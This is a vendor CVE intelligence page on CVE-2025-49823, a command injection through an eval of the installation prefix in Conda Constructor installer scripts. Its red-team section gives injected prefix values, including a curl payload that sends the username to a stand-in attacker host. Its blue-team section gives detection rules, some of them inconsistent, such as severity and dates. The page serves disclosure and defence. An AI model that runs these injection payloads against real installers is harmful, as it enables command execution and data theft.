☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-49823

CVE-2025-49823 OS Command Injection in Conda
📅 PUBLISHED: 2025-06-17 02:21 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix ⏳ CVSS score pending NVD analysis
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49823 is a critical OS Command Injection vulnerability in the Conda Constructor tool (versions prior to 3.11.3). The vulnerability exists in the shell installer scripts, where the user_prefix installation path is processed using an eval statement. This allows an attacker to inject arbitrary shell commands by crafting a malicious installation prefix. Although exploitation requires user interaction (the user must specify the malicious path during installation), the impact is severe, potentially leading to full compromise of the user's environment. The vulnerability has been patched in version 3.11.3 by removing the unsafe eval and properly sanitizing input.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Conda ecosystem, specifically the constructor package used to build custom Conda installers. Since Conda is widely used in data science and DevOps environments, a compromised installer could lead to supply chain attacks. Users should only use trusted installers and verify their integrity.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.8 (High)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Attack Vector: Local (requires user to run the installer with a malicious prefix)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (user must specify the malicious path)
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Deep Dive & Mechanics

The vulnerability resides in the shell installer script generated by Conda Constructor. During installation, the script prompts the user for an installation prefix (user_prefix). This input is then passed to an eval statement without sanitization. For example, a vulnerable script might contain:

eval "PREFIX=$user_prefix"

An attacker can craft a user_prefix value such as:

/opt/conda;$(malicious_command)

When the eval executes, it interprets the semicolon as a command separator, executing malicious_command with the user's privileges. The attacker could inject commands to exfiltrate data, install malware, or establish persistence.

Vulnerable vs. Patched Code

Vulnerable (pre-3.11.3):

# In the installer script
eval "PREFIX=$user_prefix"

Patched (3.11.3):

# The eval is removed, and input is sanitized
PREFIX=$(echo "$user_prefix" | sed 's/[^a-zA-Z0-9_\/\-]//g')

The patched version uses a whitelist approach to strip dangerous characters from the prefix, preventing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install Conda Constructor version 3.11.2 (vulnerable).
  2. Create a simple installer package.
  3. Build the installer: constructor /path/to/recipe

Exploitation:

  1. Run the generated installer.
  2. When prompted for installation prefix, enter:
    /tmp/test;echo "PWNED" > /tmp/pwned.txt
    
  3. The command echo "PWNED" > /tmp/pwned.txt will execute.

Advanced Payload:

/tmp/test;curl http://attacker.com/$(whoami)

Blue Team

Detection:

  • Monitor for unusual shell command execution during Conda installations.
  • Look for processes spawned by the installer with unexpected arguments.
  • Audit logs for eval usage in shell scripts.

Hunting:

  • Search for files containing eval "PREFIX= in Conda installer scripts.
  • Check for unexpected files created in /tmp or other writable directories during installation.

Indicators of Compromise (IOCs)

  • File: Installer scripts containing eval "PREFIX=$user_prefix"
  • Process: Shell processes with arguments containing semicolons or command substitution characters.
  • Network: Outbound connections from installer processes to unknown IPs.
  • File System: Unexpected files in /tmp or installation directory.

Detection Engineering

YARA Rule

rule CVE_2025_49823_Conda_Constructor_Eval_Injection {
    meta:
        description = "Detects vulnerable Conda Constructor installer scripts with eval injection"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49823"
    strings:
        $eval_pattern = /eval\s+\"PREFIX=\$user_prefix\"/
    condition:
        $eval_pattern
}

Sigma Rule

title: CVE-2025-49823 Conda Constructor Eval Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-49823 via shell command injection
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/bash'
        CommandLine|contains: 'eval "PREFIX='
    condition: selection
falsepositives:
    - Legitimate Conda installer usage with safe paths
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49823 Conda Constructor Eval Injection"; flow:to_server,established; content:"eval"; content:"PREFIX="; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Upgrade Conda Constructor to version 3.11.3 or later.
  • If upgrade is not possible, manually patch the installer scripts to remove eval and sanitize input.

Long-term:

  • Implement input validation for all user-supplied paths.
  • Use parameterized commands instead of eval.
  • Conduct security reviews of installer generation tools.

Detection:

  • Deploy the provided YARA, Sigma, and Suricata rules.
  • Monitor for anomalous process execution during software installations.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49823/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.